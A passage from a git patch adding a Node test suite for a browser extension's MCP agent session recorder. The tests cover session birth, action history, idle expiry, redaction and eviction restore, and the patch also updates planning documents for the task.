task 260707-7id -- record MCP agent sessions into the SAME + * logs/history/replay/memory pipeline autopilot runs use). + * + * Covers the 10 locked cases: + * 1. Birth on first sidecar action (keyed agentId+tabId; logSessionStart + * seeds the saveSession empty-logs gate; task = first visualReason; + * sessionId matches the autopilot /^session_\d+$/ format). + * 2. actionHistory accumulation in replay shape {tool, params, result, + * timestamp}, in dispatch order. + * 3. Read-only JOIN by agentId (sidecar-less dispatch appends to the open + * session; unknown agentId creates nothing). + * 4. isFinal close -> saveSession exactly once with mode 'mcp-agent', + * task = first visualReason, final action included, mcpClient set; + * extractAndStoreMemories called with the same sessionId + session. + * Snake_case is_final tolerated. + * 5. 60s idle expiry with sliding re-arm (fake clock/timers -- no real + * waiting; no premature close before the re-armed deadline). + * 6. run_task skipped entirely (automation engine already records it). + * 7. >=1-action persistence gate: pure read-only bursts never birth + * sessions, saveSession never fires. + * 8. Key-targeted redaction: url persists RAW (replay-critical), password + * and nested apiKey values replaced; lazy globalThis.redactForLog + * branch used when the helper is present. + * 9. Recorder never throws (throwing storage + throwing logger shims); + * dispatcher hook sites each wrapped in their own try/catch. + * 10. Source-pin guards: exactly 2 fsbMcpSessionRecorder.recordDispatch + * sites in mcp-tool-dispatcher.js, each using + * resolveMcpClientLabel(payload); the message-route site gated by + * !_mcpMetricsSuppressInner; the original fsbMcpMetricsRecorder + * pattern still matches exactly 2 sites; background.js loads the + * recorder on exactly one line. + * + * Plus the eviction-restore machinery: a v:1 fsbMcpSessionBuffer envelope + * with one expired + one live session restores correctly (_restoreFromBuffer); + * a malformed/wrong-version envelope is treated as empty. + * + * Run: node tests/mcp-session-recorder.test.js + * + * Harness pattern mirrors tests/mcp-dispatcher-client-label.test.js: plain + * Node script, no framework, passed/failed counters, process.exit(0|1). + */ + +'use strict'; + +const path = require('path'); +const fs = require('fs'); + +const RECORDER_PATH = path.resolve(__dirname, '..', 'extension', 'utils', 'mcp-session-recorder.js'); +const DISPATCHER_PATH = path.resolve(__dirname, '..', 'extension', 'ws', 'mcp-tool-dispatcher.js'); +const BACKGROUND_PATH = path.resolve(__dirname, '..', 'extension', 'background.js'); + +const recorder = require(RECORDER_PATH); + +let passed = 0; +let failed = 0; + +function passAssert(cond, msg) { + if (cond) { passed++; console.log(' PASS:', msg); } + else { failed++; console.error(' FAIL:', msg); } +} + +function passAssertEqual(actual, expected, msg) { + passAssert(actual === expected, + msg + ' (expected: ' + JSON.stringify(expected) + ', got: ' + JSON.stringify(actual) + ')'); +} + +async function drainMicrotasks() { + for (let i = 0; i < 10; i++) await Promise.resolve(); + await new Promise(function (r) { setImmediate(r); }); +} + +// --------------------------------------------------------------------------- +// Shim factories +// --------------------------------------------------------------------------- + +function makeLoggerStub(opts) { + opts = opts || {}; + const calls = { logSessionStart: [], logAction: [], saveSession: [] }; + const logs = []; + return { + calls, + logSessionStart(sessionId, task, tabId) { + if (opts.throwing) throw new Error('logger boom'); + calls.logSessionStart.push({ sessionId, task, tabId }); + logs.push({ data: { sessionId } }); + }, + logAction(sessionId, action, result) { + if (opts.throwing) throw new Error('logger boom'); + calls.logAction.push({ sessionId, action, result }); + logs.push({ data: { sessionId } }); + }, + getSessionLogs(sessionId) { + if (opts.throwing) throw new Error('logger boom'); + return logs.filter((l) => l.data && l.data.sessionId === sessionId); + }, + saveSession(sessionId, sessionData) { + if (opts.throwing) throw new Error('logger boom'); + calls.saveSession.push({ sessionId, sessionData }); + return Promise.resolve(true); + } + }; +} + +function makeMemoriesStub() { + const calls = []; + function extractAndStoreMemoriesStub(sessionId, session) { + calls.push({ sessionId, session }); + return Promise.resolve([]); + } + extractAndStoreMemoriesStub.calls = calls; + return extractAndStoreMemoriesStub; +} + +function makeStorageShim() { + const store = {}; + return { + store, + get(keys) { + return Promise.resolve().then(function () { + const ks = Array.isArray(keys) ? keys : [keys]; + const out = {}; + for (const k of ks) { + if (Object.prototype.hasOwnProperty.call(store, k)) out[k] = store[k]; + } + return out; + }); + }, + set(obj) { + return Promise.resolve().then(function () { Object.assign(store, obj); }); + }, + remove(key) { + return Promise.resolve().then(function () { + const ks = Array.isArray(key) ? key : [key]; + for (const k of ks) delete store[k]; + }); + } + }; +} + +function makeThrowingStorageShim() { + return { + get() { throw new Error('storage boom'); }, + set() { throw new Error('storage boom'); }, + remove() { throw new Error('storage boom'); } + }; +} + +function makeTimeShim(startMs) { + let nowMs = startMs; + let nextId = 1; + const timers = new Map(); + const shim = { + now: function () { return nowMs; }, + setTimeout: function (fn, ms) { + const id = nextId++; + timers.set(id, { fireAt: nowMs + ms, fn }); + return id; + }, + clearTimeout: function (id) { timers.delete(id); } + }; + return { + shim, + timers, + advance(ms) { + nowMs += ms; + let fired = true; + while (fired) { + fired = false; + const due = [...timers.entries()] + .filter(([, t]) => t.fireAt <= nowMs) + .sort((a, b) => a[1].fireAt - b[1].fireAt); + if (due.length > 0) { + const [id, t] = due[0]; + timers.delete(id); + t.fn(); + fired = true; + } + } + }, + now: function () { return nowMs; } + }; +} + +// Fresh section state: reset recorder, install fresh stubs, return handles. +function freshSection(startMs) { + recorder._resetForTests(); + const storage = makeStorageShim(); + recorder._setStorageShim(storage); + const time = makeTimeShim(startMs || 1750000000000); + recorder._setTimeShim(time.shim); + const logger = makeLoggerStub(); + globalThis.automationLogger = logger; + const memories = makeMemoriesStub(); + globalThis.extractAndStoreMemories = memories; + return { storage, time, logger, memories }; +} + +// Dispatch-entry builders (exact shape the dispatcher finally blocks emit). +function actionDispatch(o) { + const visualSession = { visualReason: o.visualReason, client: o.client }; + if (o.isFinal !== undefined) visualSession.isFinal = o.isFinal; + if (o.is_final !== undefined) visualSession.is_final = o.is_final; + return { + client: o.client || 'unknown', + tool: o.tool, + requestPayload: { tool: o.tool, params: o.params || {}, agentId: o.agentId, visualSession }, + response: o.response === undefined ? { success: true } : o.response, + success: o.success === undefined ? true : o.success, + dispatcher_route: 'tool' + }; +} + +function readDispatch(o) { + return { + client: o.client || 'unknown', + tool: o.tool, + requestPayload: { tool: o.tool, params: o.params || {}, agentId: o.agentId }, + response: o.response === undefined ? { success: true } : o.response, + success: o.success === undefined ? true : o.success, + dispatcher_route: o.route || 'message' + }; +} + +(async function main() { + + // -- Test 1: birth on first sidecar action -------------------------------- + console.log('--- Test 1: birth on first sidecar action ---'); + { + const { storage, logger } = freshSection(); + recorder.recordDispatch(actionDispatch({ + agentId: 'agent-1', tool: 'click', params: { tabId: 42, selector: '#buy' }, + visualReason: 'Book a flight to Berlin', client: 'Claude' + })); + const open = recorder._peekOpenSessions(); + const keys = Object.keys(open); + passAssertEqual(keys.length, 1, 'exactly one open session after birth'); + passAssertEqual(keys[0], 'agent-1::42', 'session keyed agentId::tabId'); + const rec = open['agent-1::42']; + passAssert(/^session_\d+$/.test(rec.sessionId), 'sessionId matches autopilot format session_ (got ' + rec.sessionId + ')'); + passAssertEqual(rec.task, 'Book a flight to Berlin', 'task seeded from first visualReason'); + passAssertEqual(rec.client, 'Claude', 'client label captured from sidecar'); + passAssertEqual(rec.sawActionTool, true, 'sawActionTool set on sidecar action'); + passAssertEqual(logger.calls.logSessionStart.length, 1, 'logSessionStart called once (seeds saveSession empty-logs gate)'); + passAssertEqual(logger.calls.logSessionStart[0].sessionId, rec.sessionId, 'logSessionStart got the session id'); + passAssertEqual(logger.calls.logSessionStart[0].task, 'Book a flight to Berlin', 'logSessionStart got the task'); + passAssertEqual(logger.calls.logSessionStart[0].tabId, 42, 'logSessionStart got the numeric tabId'); + await drainMicrotasks(); + const envelope = storage.store[recorder.FSB_MCP_SESSION_BUFFER_KEY]; + passAssert(envelope && envelope.v === 1, 'open-session buffer persisted with versioned envelope v=1'); + passAssert(envelope && envelope.records && envelope.records['agent-1::42'] && + envelope.records['agent-1::42'].sessionId === rec.sessionId, + 'persisted envelope carries the open session record'); + } + + // -- Test 2: actionHistory accumulation ------------------------------------ + console.log('\n--- Test 2: actionHistory accumulation in replay shape ---'); + { + const { logger } = freshSection(); + recorder.recordDispatch(actionDispatch({ + agentId: 'agent-1', tool: 'click', params: { tabId: 42, selector: '#compose' }, + visualReason: 'Compose an email', client: 'Claude' + })); + recorder.recordDispatch(actionDispatch({ + agentId: 'agent-1', tool: 'type_text', params: { tabId: 42, selector: '#to', text: 'a@b.c' }, + visualReason: 'Compose an email', client: 'Claude' + })); + recorder.recordDispatch(actionDispatch({ + agentId: 'agent-1', tool: 'press_enter', params: { tabId: 42 }, + visualReason: 'Compose an email', client: 'Claude' + })); + const rec = recorder._peekOpenSessions()['agent-1::42']; + passAssertEqual(rec.actionHistory.length, 3, 'three dispatches -> three actionHistory entries'); + passAssertEqual(rec.actionHistory[0].tool, 'click', 'entry 1 tool in order'); + passAssertEqual(rec.actionHistory[1].tool, 'type_text', 'entry 2 tool in order'); + passAssertEqual(rec.actionHistory[2].tool, 'press_enter', 'entry 3 tool in order'); + const shapesOk = rec.actionHistory.every(function (a) { + return a && typeof a.tool === 'string' && a.params && typeof a.params === 'object' && + 'result' in a && typeof a.timestamp === 'number'; + }); + passAssert(shapesOk, 'every entry is {tool, params, result, timestamp} (replay shape)'); + passAssertEqual(rec.actionHistory[1].params.text, 'a@b.c', 'replay-critical text param persists raw'); + passAssertEqual(logger.calls.logAction.length, 3, 'logAction emitted per dispatch (session-bound logs)'); + } + + // -- Test 3: read-only JOIN by agentId -------------------------------------- + console.log('\n--- Test 3: read-only JOIN by agentId ---'); + { + const { logger } = freshSection(); + recorder.recordDispatch(actionDispatch({ + agentId: 'agent-1', tool: 'navigate', params: { tabId: 42, url: 'https://example.com/inbox' }, + visualReason: 'Open the inbox', client: 'Claude' + })); + recorder.recordDispatch(readDispatch({ agentId: 'agent-1', tool: 'mcp:read-page' })); + const rec = recorder._peekOpenSessions()['agent-1::42']; + passAssertEqual(rec.actionHistory.length, 2, 'sidecar-less dispatch with same agentId JOINS the open session'); + passAssertEqual(rec.actionHistory[1].tool, 'mcp:read-page', 'joined entry appended in order'); + passAssertEqual(rec.lastUrl, 'https://example.com/inbox', 'successful navigate sets lastUrl (memory domain fallback)'); + recorder.recordDispatch(readDispatch({ agentId: 'agent-UNKNOWN', tool: 'mcp:get-tabs' })); + passAssertEqual(Object.keys(recorder._peekOpenSessions()).length, 1, + 'sidecar-less dispatch with unknown agentId creates NO session'); + passAssertEqual(logger.calls.saveSession.length, 0, 'no close happened during joins'); + } + + // -- Test 4: isFinal close -> history + memory pipeline --------------------- + console.log('\n--- Test 4: isFinal close fires saveSession + extractAndStoreMemories ---'); + { + const { logger, memories } = freshSection(); + recorder.recordDispatch(actionDispatch({ + agentId: 'agent-1', tool: 'navigate', params: { tabId: 7, url: 'https://example.com/report' }, + visualReason: 'Compose the weekly report', client: 'Claude' + })); + recorder.recordDispatch(actionDispatch({ + agentId: 'agent-1', tool: 'type_text', params: { tabId: 7, selector: '#body', text: 'hello' }, + visualReason: 'Compose the weekly report', client: 'Claude' + })); + recorder.recordDispatch(actionDispatch({ + agentId: 'agent-1', tool: 'click', params: { tabId: 7, selector: '#send' }, + visualReason: 'Send the report', client: 'Claude', isFinal: true + })); + passAssertEqual(logger.calls.saveSession.length, 1, 'saveSession invoked exactly once on isFinal'); + const saved = logger.calls.saveSession[0]; + passAssert(/^session_\d+$/.test(saved.sessionId), 'saveSession got the session id'); + passAssertEqual(saved.sessionData.mode, 'mcp-agent', "session.mode === 'mcp-agent' (locked schema value)"); + passAssertEqual(saved.sessionData.task, 'Compose the weekly report', 'session.task === FIRST visualReason'); + passAssertEqual(saved.sessionData.mcpClient, 'Claude', 'session.mcpClient carries the client label'); + passAssertEqual(saved.sessionData.status, 'completed', "session.status === 'completed'"); + passAssertEqual(saved.sessionData.tabId, 7, 'session.tabId numeric'); + passAssertEqual(saved.sessionData.actionHistory.length, 3, 'final action is part of the history (close AFTER append)'); + passAssertEqual(saved.sessionData.actionHistory[2].tool, 'click', 'last entry is the final action'); + passAssertEqual(saved.sessionData.iterationCount, 3, 'iterationCount = actionHistory length'); + passAssertEqual(saved.sessionData.lastUrl, 'https://example.com/report', 'lastUrl carried onto the session'); + passAssertEqual(memories.calls.length, 1, 'extractAndStoreMemories called once'); + passAssertEqual(memories.calls[0].sessionId, saved.sessionId, 'memory handoff got the same sessionId'); + passAssert(memories.calls[0].session === saved.sessionData, 'memory handoff got the SAME session object'); + passAssertEqual(Object.keys(recorder._peekOpenSessions()).length, 0, 'session removed from the open map'); + + // Snake_case tolerance: is_final on the very first action closes a + // 1-action session. + recorder.recordDispatch(actionDispatch({ + agentId: 'agent-2', tool: 'click', params: { tabId: 9 }, + visualReason: 'One-shot action', client: 'Codex', is_final: true + })); + passAssertEqual(logger.calls.saveSession.length, 2, 'snake_case is_final also closes (wire-spec tolerance)'); + passAssertEqual(logger.calls.saveSession[1].sessionData.actionHistory.length, 1, + 'one-shot session persisted with its single action'); + passAssertEqual(logger.calls.saveSession[1].sessionData.mcpClient, 'Codex', + 'second session carries its own client label'); + } + + // -- Test 5: 60s idle expiry with sliding re-arm ---------------------------- + console.log('\n--- Test 5: 60s idle expiry (sliding window, fake clock) ---'); + { + const { time, logger } = freshSection(1750000000000); + recorder.recordDispatch(actionDispatch({ + agentId: 'agent-3', tool: 'click', params: { tabId: 5 }, + visualReason: 'Sort the inbox', client: 'Claude' + })); + time.advance(30000); // t+30s: inside the window + passAssertEqual(logger.calls.saveSession.length, 0, 'no close before the 60s deadline'); + recorder.recordDispatch(actionDispatch({ + agentId: 'agent-3', tool: 'click', params: { tabId: 5 }, + visualReason: 'Sort the inbox', client: 'Claude' + })); // re-arms deadline to t+90s + time.advance(45000); // t+75s: past the ORIGINAL deadline (t+60s) but inside the re-armed one + passAssertEqual(logger.calls.saveSession.length, 0, + 'fresh action re-armed the window -- no premature close at t+75s'); + passAssertEqual(Object.keys(recorder._peekOpenSessions()).length, 1, 'session still open at t+75s'); + time.advance(20000); // t+95s: past the re-armed deadline (t+90s) + passAssertEqual(logger.calls.saveSession.length, 1, 'idle expiry closed and persisted the session'); + passAssertEqual(logger.calls.saveSession[0].sessionData.actionHistory.length, 2, + 'expired session kept both recorded actions'); + passAssertEqual(Object.keys(recorder._peekOpenSessions()).length, 0, 'expired session removed from the map'); + } + + // -- Test 6: run_task skipped ------------------------------------------------ + console.log('\n--- Test 6: run_task dispatches are never recorded ---'); + { + const { logger } = freshSection(); + recorder.recordDispatch(actionDispatch({ + agentId: 'agent-4', tool: 'run_task', params: { tabId: 3, task: 'do things' }, + visualReason: 'Autopilot handoff', client: 'Claude' + })); + passAssertEqual(Object.keys(recorder._peekOpenSessions()).length, 0, + 'run_task (even with a sidecar) creates no session'); + passAssertEqual(logger.calls.logSessionStart.length, 0, 'run_task seeds no session logs'); + passAssertEqual(logger.calls.saveSession.length, 0, 'run_task persists nothing'); + } + + // -- Test 7: >=1-action persistence gate ------------------------------------- + console.log('\n--- Test 7: pure read-only bursts never create sessions ---'); + { + const { logger } = freshSection(); + recorder.recordDispatch(readDispatch({ agentId: 'agent-ro', tool: 'mcp:get-tabs' })); + recorder.recordDispatch(readDispatch({ agentId: 'agent-ro', tool: 'mcp:read-page' })); + recorder.recordDispatch(readDispatch({ agentId: 'agent-ro', tool: 'read_page', route: 'tool' })); + passAssertEqual(Object.keys(recorder._peekOpenSessions()).length, 0, + 'read-only burst (agentId, never a sidecar) births no session'); + passAssertEqual(logger.calls.saveSession.length, 0, 'saveSession never called for the burst'); + } + + // -- Test 8: key-targeted redaction ------------------------------------------- + console.log('\n--- Test 8: sensitive-key redaction, replay values raw ---'); + { + const { logger } = freshSection(); + delete globalThis.redactForLog; // exercise the literal-fallback branch + const originalParams = { + url: 'https://example.com/x', + password: 'hunter2', + nested: { apiKey: 'k' }, + tabId: 11 + }; + recorder.recordDispatch(actionDispatch({ + agentId: 'agent-5', tool: 'navigate', params: originalParams, + visualReason: 'Log in', client: 'Claude', isFinal: true + })); + passAssertEqual(logger.calls.saveSession.length, 1, 'redaction session closed and saved'); + const savedHistory = logger.calls.saveSession[0].sessionData.actionHistory; + passAssertEqual(savedHistory[0].params.url, 'https://example.com/x', + 'url persists EXACTLY raw (replay-critical)'); + passAssert(savedHistory[0].params.password !== 'hunter2', 'password value replaced'); + passAssertEqual(savedHistory[0].params.password, '[REDACTED]', + 'literal [REDACTED] used when redactForLog is absent'); + passAssert(savedHistory[0].params.nested.apiKey !== 'k', 'nested apiKey value replaced'); + passAssertEqual(savedHistory[0].params.nested.apiKey, '[REDACTED]', + 'nested sensitive key redacted recursively'); + const historyJson = JSON.stringify(savedHistory); + passAssert(historyJson.indexOf('hunter2') === -1, 'original password absent from stored actionHistory JSON'); + passAssert(historyJson.indexOf('"apiKey":"k"') === -1, 'original apiKey value absent from stored actionHistory JSON'); + passAssertEqual(originalParams.password, 'hunter2', + 'caller params object NOT mutated (deep-clone before redaction)'); + + // Lazy-guard branch: with globalThis.redactForLog present, its shape + // output is used instead of the literal. + globalThis.redactForLog = function (value) { + return { kind: 'shimmed', length: String(value).length }; + }; + recorder.recordDispatch(actionDispatch({ + agentId: 'agent-6', tool: 'type_text', params: { tabId: 12, text: 'ok', password: 'hunter2' }, + visualReason: 'Second login', client: 'Claude', isFinal: true + })); + const shimmed = logger.calls.saveSession[1].sessionData.actionHistory[0].params.password; + passAssert(shimmed && shimmed.kind === 'shimmed' && shimmed.length === 7, + 'globalThis.redactForLog used via lazy guard when available'); + delete globalThis.redactForLog; + } + + // -- Test 9: recorder never throws -------------------------------------------- + console.log('\n--- Test 9: recorder never throws (throwing storage + logger) ---'); + { + recorder._resetForTests(); + recorder._setStorageShim(makeThrowingStorageShim()); + const time = makeTimeShim(1750000000000); + recorder._setTimeShim(time.shim); + globalThis.automationLogger = makeLoggerStub({ throwing: true }); + globalThis.extractAndStoreMemories = makeMemoriesStub(); + let threw = false; + let returned = 'sentinel'; + try { + returned = recorder.recordDispatch(actionDispatch({ + agentId: 'agent-7', tool: 'click', params: { tabId: 1 }, + visualReason: 'Hostile shims', client: 'Claude' + })); + recorder.recordDispatch(actionDispatch({ + agentId: 'agent-7', tool: 'click', params: { tabId: 1 }, + visualReason: 'Hostile shims', client: 'Claude', isFinal: true + })); + recorder.recordDispatch(null); + recorder.recordDispatch(42); + recorder.recordDispatch({}); + recorder.recordDispatch({ tool: 'click', requestPayload: null }); + } catch (_e) { + threw = true; + } + passAssertEqual(threw, false, 'recordDispatch never throws under throwing storage/logger shims'); + passAssertEqual(returned, undefined, 'recordDispatch returns undefined (fire-and-forget contract)'); + + // Dispatcher-side contract: both hook sites wrapped in their OWN try/catch. + const dispatcherSrc = fs.readFileSync(DISPATCHER_PATH, 'utf8'); + const guardCount = (dispatcherSrc.match(/never let session recording break dispatch/g) || []).length; + passAssertEqual(guardCount, 2, 'both dispatcher hook sites carry their own defence-in-depth catch'); + } + + // -- Test 10: source-pin guards ------------------------------------------------- + console.log('\n--- Test 10: source-pin guards (dispatcher hooks + SW load line) ---'); + { + const dispatcherSrc = fs.readFileSync(DISPATCHER_PATH, 'utf8'); + + const sessionSitePattern = /globalThis\.fsbMcpSessionRecorder\.recordDispatch\(\{[\s\S]*?\}\);/g; + const sessionSites = dispatcherSrc.match(sessionSitePattern) || []; + passAssertEqual(sessionSites.length, 2, + 'exactly 2 fsbMcpSessionRecorder.recordDispatch sites in mcp-tool-dispatcher.js'); + for (let i = 0; i < sessionSites.length; i++) { + passAssert(sessionSites[i].includes('resolveMcpClientLabel(payload)'), + 'session-recorder site #' + (i + 1) + ' calls resolveMcpClientLabel(payload)'); + passAssert(!/[\s,]client,\s/.test(sessionSites[i]), + 'session-recorder site #' + (i + 1) + ' does NOT pass a bare `client` arg'); + } + + // Message-route site sits inside the !_mcpMetricsSuppressInner gate: + // substring order tool-route-site < gate < message-route-site. + const gateNeedle = 'if (!_mcpMetricsSuppressInner) {'; + const gateCount = dispatcherSrc.split(gateNeedle).length - 1; + passAssertEqual(gateCount, 1, 'exactly one !_mcpMetricsSuppressInner gate in the dispatcher'); + const gateIdx = dispatcherSrc.indexOf(gateNeedle); + // Match the CALL form (with the opening brace) -- each hook site also + // mentions the same dotted path inside its typeof guard. + const sessionCallNeedle = 'globalThis.fsbMcpSessionRecorder.recordDispatch({'; + const firstSessionIdx = dispatcherSrc.indexOf(sessionCallNeedle); + const secondSessionIdx = dispatcherSrc.indexOf(sessionCallNeedle, firstSessionIdx + 1); + passAssert(firstSessionIdx !== -1 && firstSessionIdx < gateIdx, + 'tool-route session-recorder site appears BEFORE the message-route suppression gate'); + passAssert(secondSessionIdx > gateIdx, + 'message-route session-recorder site appears AFTER (inside) the !_mcpMetricsSuppressInner gate'); + + // The original metrics pins are undisturbed (Test 9 of + // mcp-dispatcher-client-label.test.js must keep matching exactly 2). + const metricsSitePattern = /globalThis\.fsbMcpMetricsRecorder\.recordDispatch\(\{[\s\S]*?\}\);/g; + const metricsSites = dispatcherSrc.match(metricsSitePattern) || []; + passAssertEqual(metricsSites.length, 2, 'fsbMcpMetricsRecorder pattern still matches exactly 2 sites'); + for (let i = 0; i < metricsSites.length; i++) { + passAssert(metricsSites[i].includes('resolveMcpClientLabel(payload)'), + 'metrics site #' + (i + 1) + ' still calls resolveMcpClientLabel(payload)'); + passAssert(!metricsSites[i].includes('fsbMcpSessionRecorder'), + 'metrics site #' + (i + 1) + ' span does NOT swallow the session-recorder call'); + } + + const bgSource = fs.readFileSync(BACKGROUND_PATH, 'utf8'); + const loadLines = bgSource.split('\n').filter(function (line) { + return line.includes("importScripts('utils/mcp-session-recorder.js')"); + }); + passAssertEqual(loadLines.length, 1, 'background.js loads utils/mcp-session-recorder.js on exactly one line'); + } + + // -- Test 11: eviction restore (expired closes, live rehydrates) ---------------- + console.log('\n--- Test 11: eviction restore from the fsbMcpSessionBuffer envelope ---'); + { + const { storage, time, logger } = freshSection(1750000100000); + const T = time.now(); + storage.store[recorder.FSB_MCP_SESSION_BUFFER_KEY] = { + v: 1, + records: { + 'agent-x::1': { + sessionId: 'session_100', agentId: 'agent-x', tabId: 1, + task: 'Old task', client: 'Codex', + startTime: T - 120000, lastActivityAt: T - 70000, deadlineAt: T - 10000, + lastUrl: 'https://old.example.com/a', + visualReasons: ['Old task'], + actionHistory: [{ tool: 'click', params: {}, result: { success: true }, timestamp: T - 70000 }], + sawActionTool: true + }, + 'agent-y::2': { + sessionId: 'session_200', agentId: 'agent-y', tabId: 2, + task: 'Live task', client: 'Claude', + startTime: T - 40000, lastActivityAt: T - 30000, deadlineAt: T + 30000, + lastUrl: null, + visualReasons: ['Live task'], + actionHistory: [{ tool: 'click', params: {}, result: { success: true }, timestamp: T - 30000 }], + sawActionTool: true + } + } + }; + await recorder._restoreFromBuffer(); + await drainMicrotasks(); + + passAssertEqual(logger.calls.saveSession.length, 1, 'expired session closed (saveSession called) on restore'); + passAssertEqual(logger.calls.saveSession[0].sessionId, 'session_100', 'the EXPIRED session is the one persisted'); + passAssertEqual(logger.calls.saveSession[0].sessionData.mode, 'mcp-agent', 'restored close keeps mcp-agent mode'); + passAssertEqual(logger.calls.saveSession[0].sessionData.mcpClient, 'Codex', 'restored close keeps the client label'); + passAssertEqual(logger.calls.logSessionStart.length, 1, + 'empty post-eviction log buffer re-seeded so the saveSession gate passes'); + const open = recorder._peekOpenSessions(); + passAssertEqual(Object.keys(open).length, 1, 'live session rehydrated into the map'); + passAssert(open['agent-y::2'] && open['agent-y::2'].sessionId === 'session_200', + 'live session record intact after restore'); + passAssert(time.timers.size >= 1, 'idle timer re-armed for the live session'); + + time.advance(31000); // past the live session's remaining window + passAssertEqual(logger.calls.saveSession.length, 2, 'live session closes when its restored deadline passes'); + passAssertEqual(logger.calls.saveSession[1].sessionId, 'session_200', 'live session persisted on expiry'); + await drainMicrotasks(); + passAssertEqual(storage.store[recorder.FSB_MCP_SESSION_BUFFER_KEY], undefined, + 'buffer storage key REMOVED once no open sessions remain'); + } + + // -- Test 12: malformed / wrong-version envelope treated as empty ---------------- + console.log('\n--- Test 12: malformed envelope collapses to canonical empty ---'); + { + const { storage, logger } = freshSection(); + storage.store[recorder.FSB_MCP_SESSION_BUFFER_KEY] = { + v: 99, + records: { + 'agent-z::1': { + sessionId: 'session_300', agentId: 'agent-z', tabId: 1, + task: 'Wrong version', client: 'Claude', + startTime: 1, lastActivityAt: 1, deadlineAt: 1, + visualReasons: [], actionHistory: [{ tool: 'click', params: {}, result: { success: true }, timestamp: 1 }], + sawActionTool: true + } + } + }; + await recorder._restoreFromBuffer(); + await drainMicrotasks(); + passAssertEqual(Object.keys(recorder._peekOpenSessions()).length, 0, + 'wrong-version envelope restores nothing'); + passAssertEqual(logger.calls.saveSession.length, 0, 'wrong-version envelope persists nothing'); + + storage.store[recorder.FSB_MCP_SESSION_BUFFER_KEY] = 'not-an-object'; + await recorder._restoreFromBuffer(); + passAssertEqual(Object.keys(recorder._peekOpenSessions()).length, 0, + 'malformed (non-object) envelope restores nothing'); + } + + // -- Wrap up --------------------------------------------------------------------- + recorder._resetForTests(); + recorder._setTimeShim(null); + console.log('\n=== Results: ' + passed + ' passed, ' + failed + ' failed ==='); + process.exit(failed > 0 ? 1 : 0); +})().catch(function (e) { + console.error('FATAL: mcp-session-recorder test harness threw:', e && e.stack ? e.stack : e); + process.exit(2); +}); From c54596c3aa577c6c777feaad3948a1a657d23c49 Mon Sep 17 00:00:00 2001 From: Lakshman Date: Tue, 7 Jul 2026 06:02:19 -0500 Subject: [PATCH 002/581] docs(quick-260707-7id): Record MCP agent sessions into logs, history, replay, and memory like autopilot runs --- .planning/STATE.md | 3 +- .../260707-7id-PLAN.md | 272 ++++++++++++++++++ .../260707-7id-SUMMARY.md | 130 +++++++++ 3 files changed, 404 insertions(+), 1 deletion(-) create mode 100644 .planning/quick/260707-7id-record-mcp-agent-sessions-into-logs-hist/260707-7id-PLAN.md create mode 100644 .planning/quick/260707-7id-record-mcp-agent-sessions-into-logs-hist/260707-7id-SUMMARY.md diff --git a/.planning/STATE.md b/.planning/STATE.md index 4ac30ba26..030108b47 100644 --- a/.planning/STATE.md +++ b/.planning/STATE.md @@ -33,7 +33,7 @@ See: .planning/milestones/v1.1.0-ROADMAP.md, .planning/milestones/v1.1.0-REQUIRE Phase: none active Plan: none active Status: v1.1.0 milestone complete, audited, and archived -Last activity: 2026-07-01 - Completed quick task 260701-iz0: Implement this Steam to be T1 ready +Last activity: 2026-07-07 - Completed quick task 260707-7id: Record MCP agent sessions into logs, history, replay, and memory like autopilot runs Progress: [##########] 100% @@ -154,6 +154,7 @@ None active. | # | Description | Date | Commit | Directory | |---|-------------|------|--------|-----------| +| 260707-7id | Record MCP agent sessions into logs, history, replay, and memory like autopilot runs | 2026-07-07 | 721e2826 | [260707-7id-record-mcp-agent-sessions-into-logs-hist](./quick/260707-7id-record-mcp-agent-sessions-into-logs-hist/) | | 260701-e6c | Implement Supabase to be T1 ready | 2026-07-01 | 2619d949 | [260701-e6c-implement-this-supabase-to-be-t1-ready-u](./quick/260701-e6c-implement-this-supabase-to-be-t1-ready-u/) | | 260701-e6d | Implement Microsoft Teams to be T1 ready | 2026-07-01 | working-tree | [260701-e6d-implement-this-microsoft-teams-to-be-t1-](./quick/260701-e6d-implement-this-microsoft-teams-to-be-t1-/) | | 260701-e69 | Implement Steam T1 readiness as blocked-policy terminal coverage | 2026-07-01 | blocked-working-tree | [260701-e69-implement-steam-to-be-t1-ready-using-gsd](./quick/260701-e69-implement-steam-to-be-t1-ready-using-gsd/) | diff --git a/.planning/quick/260707-7id-record-mcp-agent-sessions-into-logs-hist/260707-7id-PLAN.md b/.planning/quick/260707-7id-record-mcp-agent-sessions-into-logs-hist/260707-7id-PLAN.md new file mode 100644 index 000000000..1eab27cfc --- /dev/null +++ b/.planning/quick/260707-7id-record-mcp-agent-sessions-into-logs-hist/260707-7id-PLAN.md @@ -0,0 +1,272 @@ +--- +phase: quick-260707-7id +plan: 01 +type: execute +wave: 1 +depends_on: [] +files_modified: + - extension/utils/mcp-session-recorder.js + - extension/ws/mcp-tool-dispatcher.js + - extension/background.js + - extension/utils/automation-logger.js + - extension/ui/sidepanel.js + - extension/ui/options.js + - tests/lattice-provider-bridge-smoke.test.js + - tests/mcp-session-recorder.test.js + - package.json +autonomous: true +requirements: [QUICK-260707-7id] + +must_haves: + truths: + - "An MCP agent driving the browser (sidecar action calls, then is_final) produces a saved session in fsbSessionLogs/fsbSessionIndex with mode 'mcp-agent' and task seeded from the first visual_reason" + - "The saved session's actionHistory entries are {tool, params, result, timestamp} so the existing replay engine (background.js loadReplayableSession/executeReplaySequence) replays MCP sessions unmodified" + - "Session close fires the memory handoff (extractAndStoreMemories -> memoryManager.add) and it works without an AI instance" + - "A session left idle for 60s closes and persists by itself (sliding window, mirroring mcp-visual-session-lifecycle semantics)" + - "Open sessions survive MV3 service-worker eviction via a chrome.storage.session versioned envelope" + - "run_task dispatches are never recorded (automation engine already records those runs); pure read-only bursts never create sessions" + - "Recorder failures never alter the dispatcher's resolved value or thrown error" + - "History lists (sidepanel + options) show a source badge: 'MCP ยท ' for mcp-agent sessions, 'Autopilot' otherwise" + - "Recorded params contain no credentials/secrets (sensitive-key redaction) while replay-critical values (urls, selectors, text) persist raw" + artifacts: + - path: "extension/utils/mcp-session-recorder.js" + provides: "Session assembly keyed agentId+tabId, driven by visualSession sidecar lifecycle; registers globalThis.fsbMcpSessionRecorder" + min_lines: 150 + - path: "tests/mcp-session-recorder.test.js" + provides: "Plain-Node regression suite covering the 10 locked cases + source-pin guards" + min_lines: 150 + key_links: + - from: "extension/ws/mcp-tool-dispatcher.js" + to: "globalThis.fsbMcpSessionRecorder" + via: "sibling hook in BOTH finally blocks (dispatchMcpToolRoute + dispatchMcpMessageRoute)" + pattern: 